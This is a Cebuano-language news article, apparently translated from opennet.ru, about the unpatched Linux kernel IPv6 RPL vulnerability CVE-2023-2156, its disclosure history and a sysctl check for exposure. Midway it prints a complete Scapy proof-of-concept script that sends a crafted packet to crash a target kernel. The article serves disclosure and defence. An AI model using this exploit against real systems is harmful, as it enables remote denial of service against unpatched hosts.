0-adlaw nga Linux IPv6 stack vulnerability nga nagtugot sa remote kernel crash

Ang impormasyon gibutyag bahin sa usa ka wala matul-id (0-adlaw) nga kahuyangan (CVE-2023-2156) sa Linux kernel, nga nagtugot sa pagpahunong sa sistema pinaagi sa pagpadala sa espesyal nga gidisenyo nga IPv6 packet (packet-of-death). Ang problema makita lamang kung ang suporta alang sa RPL (Routing Protocol for Low-Power and Lossy Networks) nga protocol gi-enable, nga gi-disable pinaagi sa default sa mga distribusyon ug gigamit sa panguna sa mga naka-embed nga aparato nga naglihok sa mga wireless network nga adunay taas nga pagkawala sa packet.

Ang kahuyang tungod sa dili husto nga pagproseso sa eksternal nga datos sa RPL protocol parsing code, nga mosangpot sa pagkapakyas sa pag-angkon ug ang kernel moadto sa panic state. Kung ibutang ang datos nga nakuha gikan sa pag-parse sa IPv6 RPL packet header sa k_buff (Socket Buffer) nga istruktura, kung ang CmprI field gitakda sa 15, ang Segleft field ngadto sa 1, ug CmprE ngadto sa 0, ang 48-byte vector nga adunay mga adres ma-decompressed. ngadto sa 528 bytes ug makita ang usa ka sitwasyon diin ang memorya nga gigahin alang sa buffer dili igo. Sa kini nga kaso, ang function sa skb_push, nga gigamit sa pagduso sa datos sa istruktura, nagsusi sa pagkadili-matumbas tali sa gidak-on sa datos ug sa buffer, nga nagpatunghag usa ka kalisang nga kahimtang aron mapugngan ang pagsulat lapas sa utlanan sa buffer.

Pananglitan nga pagpahimulos: # Gamiton namo ang Scapy sa paghimo sa packet gikan sa scapy.all import * import socket # Gamita ang IPv6 gikan sa imong LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Gigamit namo ang mga socket para ipadala ang packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paghimo sa pakete # Type = 3 naghimo niini nga usa ka RPL packet # Ang mga adres adunay 3 ka adres, apan tungod kay ang CmprI 15, # ang matag octet sa unang duha ka adres kay gitratar isip usa ka compressed address # Segleft = 1 aron ma-trigger ang amplification # lastentry = 0xf0 nagtakda sa CmprI ngadto sa 15 ug CmprE ngadto sa 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Ipadala kining daotang packet sockfd.sendto(bytes(p), (DST_ADDR, 0))

Mamatikdan nga ang mga nag-develop sa kernel gipahibalo bahin sa pagkahuyang kaniadtong Enero 2022 ug sa miaging 15 ka bulan ilang gisulayan nga ayohon ang problema sa tulo ka beses, nga nagpagawas sa mga patch kaniadtong Setyembre 2022, Oktubre 2022 ug Abril 2023, apan sa matag higayon nga ang mga pag-ayo dili igo ug ang pagkahuyang dili mabag-o. Sa katapusan, ang proyekto sa ZDI, nga nag-coordinate sa trabaho aron ayohon ang pagkahuyang, nakahukom nga buhian ang detalyado nga kasayuran bahin sa pagkahuyang nga wala maghulat alang sa usa ka nagtrabaho nga pag-ayo nga magamit sa kernel.

Sa ingon, ang pagkahuyang nagpabilin nga wala masulbad. Sa partikular, ang patch nga gilakip sa 6.4-rc2 kernel dili epektibo. Gitambagan ang mga tiggamit sa pagsusi nga ang RPL protocol wala gigamit sa ilang mga sistema, nga mahimo gamit ang command sysctl -a | grep -i rpl_seg_enabled

Source: opennet.ru

Idugang sa usa ka comment